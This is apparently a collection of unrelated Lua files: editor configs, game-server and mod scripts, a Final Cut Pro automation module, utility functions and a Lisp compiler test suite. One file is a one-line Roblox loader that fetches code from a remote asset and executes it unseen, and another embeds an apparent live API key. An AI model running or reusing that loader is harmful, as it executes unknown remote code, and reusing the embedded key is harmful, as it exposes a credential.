-- vim.cmd("hi TabLineFill guibg=" .. colors.bg .. " guifg=" .. colors.bg)
vim.cmd("hi SignColumn guibg=NONE")
-- vim.cmd("hi StatusLine guibg=" .. colors.bg .. " guifg=" .. colors.bg)
-- vim.cmd("hi StatusLineNC guibg=" .. colors.bg .. " guifg=" .. colors.bg)
vim.cmd("hi WinSeparator guibg=NONE guifg=" .. colors.bg)
-- vim.cmd("hi TelescopeBorder guifg=" .. colors.magenta)
vim.cmd("hi TelescopePromptBorder guifg=" .. colors.blue)
vim.cmd("hi TelescopeResultsBorder guifg=" .. colors.green)
vim.cmd("hi TelescopePreviewBorder guifg=" .. colors.cyan)
-- Enable transparency
-- vim.cmd("hi Normal guibg=NONE ctermbg=NONE")
-- vim.cmd("hi NonText guibg=NONE ctermbg=NONE")
vim.cmd("hi EndOfBuffer guibg=NONE ctermbg=NONE")
|
thrackan_sal_solo_missions =
{
{
missionType = "assassinate",
primarySpawns =
{
{ npcTemplate = "selonian_separatist", npcName = "a Selonian terrorist" }
},
secondarySpawns = {},
itemSpawns = {},
rewards =
{
{ rewardType = "credits", amount = 100 }
}
},
{
missionType = "escort",
primarySpawns =
{
{ npcTemplate = "jermo_tharrn", npcName = "Jermo Tharrn" }
},
secondarySpawns =
{
{ npcTemplate = "selonian_sentinel", npcName = "a Selonian sentinel" },
{ npcTemplate = "selonian_sentinel", npcName = "a Selonian sentinel" }
},
itemSpawns = {},
rewards =
{
{ rewardType = "credits", amount = 200 }
}
},
{
missionType = "confiscate",
primarySpawns =
{
{ npcTemplate = "tormyll_fassoola", npcName = "Tormyll Fassoola" }
},
secondarySpawns = {},
itemSpawns =
{
{ itemTemplate = "object/tangible/mission/quest_item/thrackan_salsolo_q3_needed.iff", itemName = "Diktat's Death Squad" }
},
rewards =
{
{ rewardType = "credits", amount = 400 }
}
},
{
missionType = "assassinate",
primarySpawns =
{
{ npcTemplate = "selonian_champion", npcName = "a Selonian leader" }
},
secondarySpawns =
{
{ npcTemplate = "selonian_sentinel", npcName = "a Selonian sentinel" },
{ npcTemplate = "selonian_sentinel", npcName = "a Selonian sentinel" },
{ npcTemplate = "selonian_sentinel", npcName = "a Selonian sentinel" }
},
itemSpawns = {},
rewards =
{
{ rewardType = "credits", amount = 800 }
}
}
}
npcMapThrackanSalSolo =
{
{
spawnData = { npcTemplate = "thrackan_sal_solo", x = 0.4, z = 1.2, y = 0.8, direction = 0, cellID = 1855483, position = STAND },
worldPosition = { x = -275, y = -4720 },
npcNumber = 1,
stfFile = "@static_npc/corellia/thrackan_sal_solo",
missions = thrackan_sal_solo_missions
}
}
ThrackanSalSolo = ThemeParkLogic:new {
npcMap = npcMapThrackanSalSolo,
className = "ThrackanSalSolo",
screenPlayState = "thrackan_sal_solo_quest",
planetName = "corellia",
distance = 800
}
registerScreenPlay("ThrackanSalSolo", true)
thrackan_sal_solo_mission_giver_conv_handler = mission_giver_conv_handler:new {
themePark = ThrackanSalSolo
}
thrackan_sal_solo_mission_target_conv_handler = mission_target_conv_handler:new {
themePark = ThrackanSalSolo
} |
--- === cp.apple.finalcutpro.export.ReplaceAlert ===
---
--- Replace Alert
local require = require
local axutils = require("cp.ui.axutils")
local prop = require("cp.prop")
local ReplaceAlert = {}
--- cp.apple.finalcutpro.export.ReplaceAlert.matches(element) -> boolean
--- Function
--- Checks to see if an element matches what we think it should be.
---
--- Parameters:
--- * element - An `axuielementObject` to check.
---
--- Returns:
--- * `true` if matches otherwise `false`
function ReplaceAlert.matches(element)
if element then
return element:attributeValue("AXRole") == "AXSheet" -- it's a sheet
and axutils.childWithRole(element, "AXTextField") == nil -- with no text fields
end
return false
end
--- cp.apple.finalcutpro.export.ReplaceAlert.new(app) -> ReplaceAlert
--- Constructor
--- Creates a new Replace Alert object.
---
--- Parameters:
--- * app - The `cp.apple.finalcutpro` object.
---
--- Returns:
--- * A new ReplaceAlert object.
function ReplaceAlert.new(parent)
local o = {_parent = parent}
return prop.extend(o, ReplaceAlert)
end
--- cp.apple.finalcutpro.export.ReplaceAlert:parent() -> object
--- Method
--- Returns the Parent object.
---
--- Parameters:
--- * None
---
--- Returns:
--- * The parent object.
function ReplaceAlert:parent()
return self._parent
end
--- cp.apple.finalcutpro.export.ReplaceAlert:app() -> App
--- Method
--- Returns the App instance representing Final Cut Pro.
---
--- Parameters:
--- * None
---
--- Returns:
--- * App
function ReplaceAlert:app()
return self:parent():app()
end
--- cp.apple.finalcutpro.export.ReplaceAlert:UI() -> axuielementObject
--- Method
--- Returns the Replace Alert Accessibility Object
---
--- Parameters:
--- * None
---
--- Returns:
--- * An `axuielementObject` or `nil`
function ReplaceAlert:UI()
return axutils.cache(self, "_ui", function()
return axutils.childMatching(self:parent():UI(), ReplaceAlert.matches)
end,
ReplaceAlert.matches)
end
--- cp.apple.finalcutpro.export.ReplaceAlert.isShowing <cp.prop: boolean; read-only>
--- Field
--- Is the Replace File alert showing?
ReplaceAlert.isShowing = prop.new(function(self)
return self:UI() ~= nil
end):bind(ReplaceAlert)
--- cp.apple.finalcutpro.export.ReplaceAlert:hide() -> none
--- Method
--- Hides the Replace Alert.
---
--- Parameters:
--- * None
---
--- Returns:
--- * None
function ReplaceAlert:hide()
self:pressCancel()
end
--- cp.apple.finalcutpro.export.ReplaceAlert:pressCancel() -> cp.apple.finalcutpro.export.ReplaceAlert
--- Method
--- Presses the Cancel button.
---
--- Parameters:
--- * None
---
--- Returns:
--- * The `cp.apple.finalcutpro.export.ReplaceAlert` object for method chaining.
function ReplaceAlert:pressCancel()
local ui = self:UI()
if ui then
local btn = ui:cancelButton()
if btn then
btn:doPress()
end
end
return self
end
--- cp.apple.finalcutpro.export.ReplaceAlert:pressReplace() -> cp.apple.finalcutpro.export.ReplaceAlert
--- Method
--- Presses the Replace button.
---
--- Parameters:
--- * None
---
--- Returns:
--- * The `cp.apple.finalcutpro.export.ReplaceAlert` object for method chaining.
function ReplaceAlert:pressReplace()
local ui = self:UI()
if ui then
local btn = ui:defaultButton()
if btn and btn:enabled() then
btn:doPress()
end
end
return self
end
--- cp.apple.finalcutpro.export.ReplaceAlert:getTitle() -> string | nil
--- Method
--- The title of the Replace Alert window or `nil`.
---
--- Parameters:
--- * None
---
--- Returns:
--- * The title of the Replace Alert window as a string or `nil`.
function ReplaceAlert:getTitle()
local ui = self:UI()
return ui and ui:title()
end
return ReplaceAlert
|
loadstring(game:GetObjects("rbxassetid://3042778022")[1].Source)() |
Config = {}
discord = {
api = ApiDiscord,
assettxt = AssetText,
other = Other,
txtall = TextAll,
Time = 60
}
|
// RAWR!
mypublicid.config = mypublicid.config or {}
mypublicid.config.endpoint = "api.mypublicid.com"
mypublicid.config.apikey = "22D1B8BF-A978-40F5-8E85-4E631975976F"
mypublicid.config.region = -1
mypublicid.config.message = "[MyPublicId] A ban has been issued on your account. Go to mypublicid.com to find out more." |
-- ===============
-- GITSIGNS BUBBLE
-- ===============
-- Created by datwaft <github.com/datwaft>
local settings = {
symbol = vim.g.bubbly_symbols,
color = vim.g.bubbly_colors,
style = vim.g.bubbly_styles,
filter = vim.g.bubbly_filter,
}
---@type fun(settings: table, module_name: string): table
local process_settings = require("bubbly.utils.module").process_settings
settings = process_settings(settings, "gitsigns")
---@type fun(filter: table): boolean
local process_filter = require("bubbly.utils.module").process_filter
-- Returns bubble that shows current gitsigns status
---@param inactive boolean
---@return Segment[]
return function(inactive)
if inactive then
return nil
end
if not process_filter(settings.filter) then
return nil
end
if vim.b.gitsigns_status_dict == nil then
return nil
end
local added = vim.b.gitsigns_status_dict.added
local removed = vim.b.gitsigns_status_dict.removed
local modified = vim.b.gitsigns_status_dict.changed
return {
{
data = added ~= 0 and settings.symbol.added:format(added),
color = settings.color.added,
style = settings.style.added,
},
{
data = modified ~= 0 and settings.symbol.modified:format(modified),
color = settings.color.modified,
style = settings.style.modified,
},
{
data = removed ~= 0 and settings.symbol.removed:format(removed),
color = settings.color.removed,
style = settings.style.removed,
},
}
end
|
function empregnate(unit)
if unit==nil then
error("Failed to empregnate. Unit not selected/valid")
end
if unit.curse then
unit.curse.add_tags2.STERILE=false
end
local genes = unit.appearance.genes
if unit.pregnancy_genes == nil then
print("creating preg ptr.")
if false then
print(string.format("%x %x",df.sizeof(unit:_field("pregnancy_genes"))))
return
end
unit.pregnancy_genes = { new = true, assign = genes }
end
local ngenes = unit.pregnancy_genes
if #ngenes.appearance ~= #genes.appearance or #ngenes.colors ~= #genes.colors then
print("Array sizes incorrect, fixing.")
ngenes:assign(genes);
end
print("Setting preg timer.")
unit.pregnancy_timer=1
unit.pregnancy_caste=1
end
local unit_id=...
empregnate(df.unit.find(tonumber(unit_id))) |
function getData(key, default)
return global["data:" .. key] or default
end
function setData(key, data)
global["data:" .. key] = data
end
function removeData(key, data)
global["data:" .. key] = data
end
function checkAndTickInGlobal(name)
if global[name] then
for i, v in pairs(global[name]) do
if v.valid then
v:OnTick()
else
global[name][i] = nil
end
end
end
end
function callInGlobal(gName, kName, ...)
if global[gName] then
for k, v in pairs(global[gName]) do
if v[kName] then
v[kName](v, ...)
end
end
end
end
function insertInGlobal(gName, val)
if not global[gName] then
global[gName] = {}
end
table.insert(global[gName], val)
return val
end
function removeInGlobal(gName, val)
if global[gName] then
for i, v in pairs(global[gName]) do
if v == val then
global[gName][i] = nil
return v
end
end
end
end
function setResearch(name)
global["research:" .. name] = true
end
function isResearched(name)
return global["research:" .. name] or false
end
function getDistance(pos1, pos2)
return math.sqrt((pos2.x - pos1.x) ^ 2 + (pos2.y - pos1.y) ^ 2)
end
function equipmentGridHasItem(grid, itemName)
local contents = grid.get_contents()
return contents[itemName] and contents[itemName] > 0
end
function toDate(ticks)
local time = ""
local mod = 0
ticks = ticks / 60
local timeRange = function(time, unit)
time = math.floor(time % unit)
if time < 10 then
time = "0" .. time
end
return time
end
time = timeRange(ticks, 60)
ticks = ticks / 60
time = timeRange(ticks, 60) .. ":" .. time
ticks = ticks / 60
time = math.floor(ticks) .. ":" .. time
return time
end
function string:padRight(len, char)
local str = self
if not char then
char = " "
end
if str:len() < len then
str = str .. string.rep(" ", len - str:len())
end
return str
end
function string:contains(substr)
return self:find(substr) ~= nil
end
function string:startsWith(prefix)
return self:sub(1, prefix:len()) == prefix
end
function string:endWith(suffix)
return self:sub(self:len() - (suffix:len() - 1)) == suffix
end
function string:trim()
return self:match('^%s*(.*%S)') or ''
end
function string:ensureLeft(prefix)
if not self:startsWith(prefix) then
return prefix .. self
end
return self
end
function string:ensureRight(suffix)
if self:sub(self:len() - (suffix:len() - 1)) ~= suffix then
return self .. suffix
end
return self
end
function string:split(sSeparator, nMax, bRegexp)
assert(sSeparator ~= '')
assert(nMax == nil or nMax >= 1)
local aRecord = {}
local count = 1
if self:len() > 0 then
local bPlain = not bRegexp
nMax = nMax or -1
local nField, nStart = 1, 1
local nFirst, nLast = self:find(sSeparator, nStart, bPlain)
while nFirst and nMax ~= 0 do
aRecord[nField] = self:sub(nStart, nFirst - 1)
nField = nField + 1
nStart = nLast + 1
nFirst, nLast = self:find(sSeparator, nStart, bPlain)
nMax = nMax - 1
count = count + 1
end
aRecord[nField] = self:sub(nStart)
end
return aRecord, count
end
function searchIndexInTable(table, obj, ...)
if table then
for i, v in pairs(table) do
if #{ ... } > 0 then
for key, field in pairs({ ... }) do
if v then
v = v[field]
end
end
if v == obj then
return i
end
elseif v == obj then
return i
end
end
end
end
function searchInTable(table, obj, ...)
if table then
for k, v in pairs(table) do
if #{ ... } > 0 then
local key = v
for i, field in pairs({ ... }) do
if key then
key = key[field]
end
end
if key == obj then
return v
end
elseif v == obj then
return v
end
end
end
end
table.search = searchInTable
table.searchIndex = searchIndexInTable
function table.len(tbl)
local count = 0
for k, v in pairs(tbl) do
count = count + 1
end
return count
end
function table.tostring(tbl, limit)
local tableToString
local valToString
local keyToString
if not limit then
limit = 2
end
valToString = function(v, circular, max)
if "string" == type(v) then
v = string.gsub( v, "\n", "\\n" )
if string.match( string.gsub(v, "[^'\"]", ""), '^"+$' ) then
return "'" .. v .. "'"
end
return '"' .. string.gsub(v, '"', '\\"' ) .. '"'
else
if max ~= 0 then
circular = {table.unpack(circular)}
table.insert(circular, v)
return "table" == type(v) and tableToString(v, circular, max - 1) or tostring(v)
end
return "[Table]"
end
end
keyToString = function(k, circular, max)
if "string" == type(k) and string.match( k, "^[_%a][_%a%d]*$" ) then
return k
else
return "[" .. valToString(k, circular, max) .. "]"
end
end
tableToString = function(tbl, circular, max)
local result, done = {}, {}
for k, v in ipairs(tbl) do
if type(v) == "table" then
for index, item in ipairs(circular) do
if v == item then
table.insert(result, "[Circular]")
done[k] = true
break
end
end
end
if not done[k] then
done[k] = true
if type(v) == "table" then
table.insert(circular, v)
end
table.insert(result, valToString(v, circular, max))
end
end
for k, v in pairs(tbl) do
if not done[k] then
if type(v) == "table" then
for index, item in ipairs(circular) do
if v == item then
table.insert(result, keyToString(k, max) .. "=" .. "[Circular]")
done[k] = true
break
end
end
end
if not done[k] then
if type(v) == "table" then
table.insert(circular, v)
end
table.insert(result, keyToString(k, max) .. "=" .. valToString(v, circular, max))
end
end
end
return "{" .. table.concat(result, "," ) .. "}"
end
return tableToString(tbl, {}, limit)
end
function table.contains(tab, obj, field)
for i, v in pairs(tab) do
if field then
if v[field] == obj then
return true
end
elseif v == obj then
return true
end
end
return false
end
function table.id(obj)
local id = tostring(obj):gsub('^%w+: ', '')
return id
end
function Version(value)
local function parse(str)
local version = {}
for i, v in pairs(str:split(".")) do
table.insert(version, tonumber(v))
end
return version
end
local obj = {
value = parse(value),
isLower = function(self, version)
if type(version) == "string" then
version = Version(version)
end
for i, v in ipairs(version.value) do
if i > #self.value then
return true
elseif v > self.value[i] then
return true
elseif v < self.value[i] then
return false
end
end
return false
end,
isHigher = function(self, version)
if type(version) == "string" then
version = Version(version)
end
for i, v in ipairs(self.value) do
if i > #version.value then
return true
elseif v > version.value[i] then
return true
elseif v < version.value[i] then
return false
end
end
return false
end,
tostring = function(self)
return table.concat(self.value, ".")
end
}
return obj
end
function version_isLower(currentVersion, otherVersion)
currentVersion = currentVersion:split(".")
otherVersion = otherVersion.split(".")
end
function deepcopy(orig, dst)
local copy
if type(orig) == 'table' then
if dst then
copy = dst
else
copy = {}
end
for orig_key, orig_value in next, orig, nil do
copy[deepcopy(orig_key)] = deepcopy(orig_value)
end
setmetatable(copy, deepcopy(getmetatable(orig)))
else -- number, string, boolean, etc
copy = orig
end
return copy
end
|
local ReactFiberHostContext = require "ReactFiberHostContext"
local pi = require "pi"
pi(ReactFiberHostContext) |
-- See Copyright Notice in lal.lua
local TC = require 'lal/util/test_case'
local lal = require 'lal/lal'
local List = require 'lal/util/list'
local Parser = require 'lal/lang/parser'
local Compiler = require 'lal/lang/compiler'
local lal_eval = lal.eval
local assert_eq = TC.assert_eq
local assert_match = TC.assert_match
local ok = TC.ok
local diag = TC.diag
local TestCaseSummary = TC.TestCaseSummary
local TestCase = TC.TestCase
local function assert_error(sMatch, sData)
local bOk, sErr = pcall(function () lal_eval(sData, sMatch) end)
ok(not(bOk), 'Compiled without error, but should not: ' .. sData)
if (not string.match(sErr, sMatch)) then
ok(false, 'Compiled with wrong error (expected ' .. sMatch .. '): ' .. sErr)
else
ok(true, 'Compiled with error like expected')
end
end
local function assert_lal(sLal, sData, sName)
local info = debug.getinfo(2, "Sl")
assert_eq(sLal, Parser.lal_print_string(lal_eval(sData, info.short_src .. ":" .. info.currentline)), sName)
end
local oT = TestCase('LAL-Compiler', 82)
--function oT:testDefM()
-- local compiler = Compiler()
-- local p = Parser()
-- assert_eq([[local x; x = 11;
--_ENV._lal_global_env["x"] = x;
--return x;
--]],
-- compiler:compile_toplevel(p:parse_expression '(define x 11)'))
-- assert_eq([[x = 12;
--_ENV._lal_global_env["x"] = x;
--return x;
--]],
-- compiler:compile_toplevel(p:parse_expression '(set! x 12)'))
--end
function oT:testFn()
assert_eq(20, lal_eval '((lambda (a) a) 20)')
assert_lal('52', [[
(begin
(define l (lambda (x y) (+ x y 13)))
(l (l 0 0) (l (l 0 0) 0)))]])
assert_error('.*Bad.*lambda.*%(lambda 10%)', [[(lambda 10)]])
assert_error('.*Bad.*lambda', [[(begin
(begin (begin (lambda 10))))]])
assert_error('Bad.*lambda.*symbol.*list', [[(lambda 10 20)]])
assert_error('Bad.*lambda', [[(lambda (x))]])
end
function oT:testLet()
assert_eq(30, lal_eval '(let ((a 5) (b 20)) (set! a (* 2 a)) (+ a b))')
end
function oT:testDo()
assert_eq(32, lal_eval '(begin (define x 10) (define y 20) (+ x y 2))')
assert_eq(32, lal_eval '(begin (begin (define x 10)) (define y 20) (+ x y 2))')
assert_eq(32, lal_eval '(begin (begin (define x 10) (define y 20) 44) (begin (+ x y 2) (+ x y 2)))')
assert_eq(32, lal_eval '(begin (begin (define x 10) (define y (begin 44 20)) 44) (begin (+ x y 2)))')
assert_eq(32, lal_eval '(begin (begin (define x 10) (define y 20) 44) (begin (+ x y 2)))')
end
function oT:testReturn()
assert_eq(20, lal_eval [[
(begin
(define x 10)
(return 20)
30
)
]])
end
function oT:testReturnAnyWhere()
assert_lal('9', [[
{ b: 20 a: (return 9) x: 22 }
]])
assert_eq(10, lal_eval [[
(list? (return 10))
]])
assert_eq(11, lal_eval [[
(empty? (return 11))
]])
assert_eq(12, lal_eval [[
(define-global ff (return 12))
]])
assert_eq(12, lal_eval [[
(define ff2 (return 12))
]])
assert_eq(13, lal_eval [[
(begin
(define ff2 12)
(set! ff2 (return 13)))
]])
assert_eq(14, lal_eval [[
((return 14) 22)
]])
assert_eq(16, lal_eval [[
(begin
(define x 2)
((lambda () 2) ((lambda () (set! x 16))) (return x)))
]])
assert_eq(15, lal_eval [[
(begin
(define x 1)
(+ ((lambda () (set! x 15))) (return x)))
]])
assert_eq(31, lal_eval [[
(begin
(define x 1)
(define y 2)
(+
((lambda () (set! y 16)))
(+ ((lambda () (set! x 15)))
(return (+ x y)))))
]])
assert_eq(42, lal_eval [[
(begin
(let ((a 10) (b 20)) b)
(let ((c 30))
(let ((k 32) (j (return (+ k 10))))))
44)
]])
assert_eq(43, lal_eval [[
(let ((x 11))
(let ((if (= (set! x 43) (return x)))) 12)
x)
]])
assert_eq(44, lal_eval [[
(if #t (return 44))
]])
assert_eq(45, lal_eval [[
(if #f 10 (return 45))
]])
assert_eq(46, lal_eval [[
(begin
(import (lua basic))
(define X 10)
(. concat lua-table (set! X 46) (return X)))
]])
assert_eq(47, lal_eval [[
(begin
(define X 10)
(. (set! X 47) (return X)))
]])
end
function oT:testLetWOBody()
assert_eq(nil, lal_eval [[
(let ((i 1)))
]])
end
function oT:testLetEmpty()
assert_eq(nil, lal_eval [[ (let ()) ]])
end
function oT:testReturnInLetBody()
assert_eq(43, lal_eval [[
(begin
(let ((c 30))
(return 43)
(+ 20 30)))
]])
end
function oT:testReturnFromFn()
assert_eq(44, lal_eval [[
(begin
(define o 10)
(let
((f (lambda (a) (return (+ o a)) 99)))
(f 34)))
]])
end
function oT:testIf()
assert_eq(55, lal_eval [[
(if (> 1 0) 55 44)
]])
end
function oT:testIfOneBranch()
assert_eq(44, lal_eval [[
(if (> 1 0) 44)
]])
end
function oT:testIfOneBranchFalse()
assert_eq(nil, lal_eval [[
(if (> 0 1) 44)
]])
end
function oT:testIfReturn()
assert_eq(11, lal_eval [[
(if (> 1 0) (return 11) 12)
]])
end
function oT:testIfFalseReturn()
assert_eq(12, lal_eval [[
(if (> 0 1) (return 11) (return 12))
]])
end
function oT:testLuaTOC()
assert_eq(1000000, lal_eval [[
(let
((sum (lambda (x)
(if (>= x 1000000)
(return x)
(return (sum (+ x 1)))))))
(sum 0))
]])
end
function oT:testLuaTOCWithLetS()
assert_eq(1000000, lal_eval [[
(let
((sum (lambda (x)
(if (>= x 1000000)
(let ((y x)) (return y))
(let ((k x)) (return (sum (+ k 1))))))))
(sum 0))
]])
end
function oT:testBool()
assert_lal('nil', [[nil]])
assert_eq(123, lal_eval [[(if #t 123 321)]])
assert_eq(321, lal_eval [[(if #f 123 321)]])
assert_eq(true, lal_eval [[#t]])
end
function oT:testQuotedList()
assert_lal('(1 2 3 4)', [[ [1 2 3 4] ]])
assert_lal('()', [[ [ ] ]])
assert_lal('((1) (2))', [[ [ [1] [2] ] ]])
end
function oT:testOpsAsFn()
assert_eq(10, lal_eval [[(let ((x +)) (x 1 2 3 4))]])
assert_eq(24, lal_eval [[(let ((x *)) (x 2 3 4))]])
assert_eq(2, lal_eval [[(let ((x /)) (x 4 2))]])
assert_eq(1, lal_eval [[(let ((x -)) (x 4 2 1))]])
assert_eq(-1, lal_eval [[(let ((x -)) (x 0 1))]])
assert_eq(10, lal_eval [[(+ 1 2 3 4)]])
assert_eq(24, lal_eval [[(* 2 3 4)]])
assert_eq(2, lal_eval [[(/ 4 2)]])
assert_eq(1, lal_eval [[(- 4 2 1)]])
assert_eq(true, lal_eval [[(> 4 2)]])
assert_eq(false, lal_eval [[(> 4 4)]])
assert_eq(false, lal_eval [[(> 2 4)]])
assert_eq(false, lal_eval [[(< 4 2)]])
assert_eq(false, lal_eval [[(< 4 4)]])
assert_eq(true, lal_eval [[(let ((k >)) (k 4 2))]])
assert_eq(false, lal_eval [[(let ((k <)) (k 4 2))]])
assert_eq(true, lal_eval [[(let ((k >=)) (k 4 2))]])
assert_eq(false, lal_eval [[(let ((k <=)) (k 4 2))]])
end
function oT:testOpErrors()
assert_error('Operator %/.*expects.*2.*got.*3', '(/ 1 2 3)')
assert_error('Operator %<.*expects.*2.*got.*3', '(< 1 2 3)')
assert_error('Operator %>.*expects.*2.*got.*3', '(> 1 2 3)')
assert_error('Operator %<.*expects.*2.*got.*3', '(<= 1 2 3)')
assert_error('Operator %>.*expects.*2.*got.*3', '(>= 1 2 3)')
end
function oT:testSimpleArith()
assert_lal('3', [[(+ 1 2)]])
assert_lal('11', [[(+ 5 (* 2 3))]])
assert_lal('8', [[(- (+ 5 (* 2 3)) 3)]])
if (_VERSION == "Lua 5.3") then
assert_lal('2.0', [[(/ (- (+ 5 (* 2 3)) 3) 4)]])
assert_lal('2', [[(// (- (+ 5 (* 2 3)) 3) 4)]])
assert_lal('2565.0', [[(/ (- (+ 515 (* 222 311)) 302) 27)]])
assert_lal('2565', [[(// (- (+ 515 (* 222 311)) 302) 27)]])
else
assert_lal('2', [[(/ (- (+ 5 (* 2 3)) 3) 4)]])
assert_lal('2', [[(// (- (+ 5 (* 2 3)) 3) 4)]])
assert_lal('2565', [[(/ (- (+ 515 (* 222 311)) 302) 27)]])
assert_lal('2565', [[(// (- (+ 515 (* 222 311)) 302) 27)]])
end
end
function oT:testIfBool()
assert_lal('10', [[(if #true 10 20)]])
assert_lal('20', [[(if #false 10 20)]])
assert_lal('nil', [[(if #false 10)]])
assert_lal('10', [[(if #true 10)]])
assert_lal('nil', [[(if #false)]])
assert_lal('nil', [[(if #true)]])
assert_lal('7', [[(if #true 7 8)]])
assert_lal('8', [[(if #false 7 8)]])
assert_lal('8', [[(if #true (+ 1 7) (+ 1 8))]])
assert_lal('9', [[(if #false (+ 1 7) (+ 1 8))]])
assert_lal('8', [[(if nil 7 8)]])
assert_lal('7', [[(if 0 7 8)]])
assert_lal('7', [[(if "" 7 8)]])
assert_lal('7', [[(if (list) 7 8)]])
assert_lal('7', [[(if (list 1 2 3) 7 8)]])
end
function oT:testBasicData()
assert_lal('(1 2 3)', [[ [1 2 (+ 1 2)] ]])
assert_lal('{"a" 15}', [[{a: (+ 7 8)}]])
assert_lal('{"a" 15}', [[{(let ((x a:)) x) (+ 7 8)}]])
assert_lal('{"x" 15}', [[{(quote x) (+ 7 8)}]])
end
function oT:testDef()
assert_lal('3', [[(define x 3)]])
assert_lal('3', [[(begin (define x 3) x)]])
assert_lal('4', [[(begin (define x 3) (define x 4) x)]])
assert_lal('8', [[(begin (define y (+ 1 7)) y)]])
assert_lal('13', [[(define y 13)]])
end
function oT:testLet2()
assert_lal('9', [[(let ((z 9)) z)]])
assert_lal('9', [[(let ((x 9)) x)]])
assert_lal('6', [[(let ((z (+ 2 3))) (+ 1 z))]])
assert_lal('12', [[(let ((p (+ 2 3)) (q (+ 2 p))) (+ p q))]])
assert_lal('9', [[(let ((q 9)) q)]])
assert_lal('4', [[(begin (define a 4) (let ((q 9)) a))]])
assert_lal('4', [[(begin (define a 4) (begin (let ((z 2)) (let ((q 9)) a))))]])
assert_lal('12', [[(let ((p (+ 2 3)) (q (+ 2 p))) (+ p q))]])
assert_lal('10', [[(let ((x 10)) (begin (let ((x 20)) x) x))]])
end
function oT:testLetList()
assert_lal('(3 4 5 (6 7) 8)', [[(let ((a 5) (b 6)) [3 4 a [b 7] 8])]])
assert_lal('(3 4 5 (6 7) 8)', [[(let ((a 5) (b 6) (lst list)) (lst 3 4 a [b 7] 8))]])
end
function oT:testKeyword()
assert_lal('kw:', [[kw:]])
assert_lal('(kw: kw: kw:)', [['(kw: kw: kw:)]])
end
function oT:testList()
assert_lal('()', [[(list)]])
assert_lal('(1 2 3)', [[(list 1 2 3)]])
assert_lal('(+ 1 2)', [[ ['+ 1 2] ]])
assert_lal('((3 4))', [[ [ [3 4] ] ]])
assert_lal('(+ 1 (+ 2 3))', [[ ['+ 1 ['+ 2 3] ] ]])
assert_lal('(+ 1 (+ 2 3))', [[ [ '+ 1 ['+ 2 3 ] ] ]])
end
function oT:testQuote()
assert_lal('(+ 1 2)', [['(+ 1 2)]])
assert_lal('((3 4))', [['((3 4))]])
assert_lal('(+ 1 (+ 2 3))', [['(+ 1 (+ 2 3))]])
assert_lal('(+ 1 (+ 2 3))', [[ ' ( + 1 (+ 2 3 ) )]])
assert_lal('(* 1 2)', [['(* 1 2)]])
assert_lal('(** 1 2)', [['(** 1 2)]])
assert_lal('(1 2 3)', [['(1 2 3)]])
assert_lal('(quote 1)', [[''1]])
assert_lal('(quote (1 2 3))', [[''(1 2 3)]])
assert_lal('7', [[(quote 7)]])
assert_lal('7', [['7]])
assert_lal('(1 2 3)', [[(quote (1 2 3))]])
assert_lal('(1 2 3)', [['(1 2 3)]])
assert_lal('(1 2 (3 4))', [[(quote (1 2 (3 4)))]])
assert_lal('(1 2 (3 4))', [['(1 2 (3 4))]])
assert_lal('(10)', [[(quote (10))]])
end
function oT:testLength()
assert_error('attempt.*length.*nil',
[[(length nil)]]) -- does not work, nil != {}
assert_lal('3', [[(length (list 1 2 3))]])
assert_lal('0', [[(length (list))]])
assert_lal('"no"', [[(if (> (length (list 1 2 3)) 3) "yes" "no")]])
assert_lal('"yes"', [[(if (>= (length (list 1 2 3)) 3) "yes" "no")]])
assert_lal('4', '(begin (let ((c length)) (c [1 2 3 (define x 20)])))')
end
function oT:testUnusedRetValsAndBuiltins()
assert_lal('20', '(begin (length [1 2 3 (define x 20)]) x)')
assert_lal('20', '(begin [1 2 3 (define x 20)] x)')
end
function oT:testPredicates1()
assert_lal('#true', [[(list? (list))]])
assert_lal('#true', [[(let ((x list?)) (x (list)))]])
assert_lal('#false', [[(list? { a: 1 })]])
assert_lal('#false', [[(let ((x list?)) (x { a: 1 }))]])
assert_lal('#true', [[(empty? (list))]])
assert_lal('#false', [[(empty? (list 1))]])
assert_lal('#true', [[(empty? {})]])
assert_lal('#false', [[(empty? {a: 1})]])
assert_lal('#true', [[(let ((x empty?)) (x (list)))]])
assert_lal('#false', [[(let ((x empty?)) (x (list 1)))]])
assert_lal('#true', [[(let ((x empty?)) (x {}))]])
assert_lal('#false', [[(let ((x empty?)) (x {a: 1}))]])
-- assert_lal('#false', [[(= (list) nil)]])
end
function oT:testPrStrRdStr()
assert_eq('(1 2 3)', lal_eval [[(write-str (list 1 2 3))]])
assert_eq('{\"a\" 1}', lal_eval [[(write-str {a: 1})]])
assert_eq('{\"a\" 1}', lal_eval [[(write-str {"a" 1})]])
assert_eq('{\"a:\" 1}', lal_eval [[(write-str {"a:" 1})]])
assert_eq('{(1 2 3) (4 5 6)}', lal_eval [[(write-str {'(1 2 3) '(4 5 6)})]])
assert_eq('(1.1 2.02 3.003)', lal_eval [[(write-str '(1.1 2.02 3.003))]])
assert_eq('3.003', lal_eval [[(write-str 3.003)]])
assert_eq('\"foo\"', lal_eval [[(write-str "foo")]])
assert_lal('(1 2 3)', [[(read-str (write-str (list 1 2 3)))]])
assert_lal('{\"a\" 1}', [[(read-str (write-str {a: 1}))]])
assert_lal('{\"a\" 1}', [[(read-str (write-str {"a" 1}))]])
assert_lal('{\"a:\" 1}', [[(read-str (write-str {"a:" 1}))]])
assert_lal('{(1 2 3) (4 5 6)}', [[(read-str (write-str {'(1 2 3) '(4 5 6)}))]])
assert_lal('(1.1 2.02 3.003)', [[(read-str (write-str '(1.1 2.02 3.003)))]])
assert_lal('3.003', [[(read-str (write-str 3.003))]])
assert_lal('\"foo\"', [[(read-str (write-str "foo"))]])
assert_lal('5', [[(eval (read-str "(+ 2 3)"))]])
end
function oT:testEval()
assert_lal('(1 2 3)', [[(eval '(list 1 2 3))]])
assert_lal('(33 x:)', [[(eval '(let ((a 33) (b x:)) (list a b)))]])
end
function oT:testEQ()
assert_lal('#true', [[(= 1 1)]])
assert_lal('#true', [[(= 'abc 'abc)]])
assert_lal('#false', [[(= 'abc 'abcd)]])
assert_lal('#false', [[(= 'abc "abc")]])
assert_lal('#false', [[(= "abc" 'abc)]])
end
function oT:testFunctionDef()
assert_lal('12', [[
((
(lambda (a)
(lambda (b) (+ a b)))
5)
7)]])
assert_lal('12', [[
(begin
(define gen-plus5
(lambda () (lambda (b) (+ 5 b))))
(define plus5 (gen-plus5))
(plus5 7))]])
assert_lal('15', [[
(begin
(define gen-plusX (lambda (x) (lambda (b) (+ x b))))
(define plus7 (gen-plusX 7))
(plus7 8))]])
-- recursion:
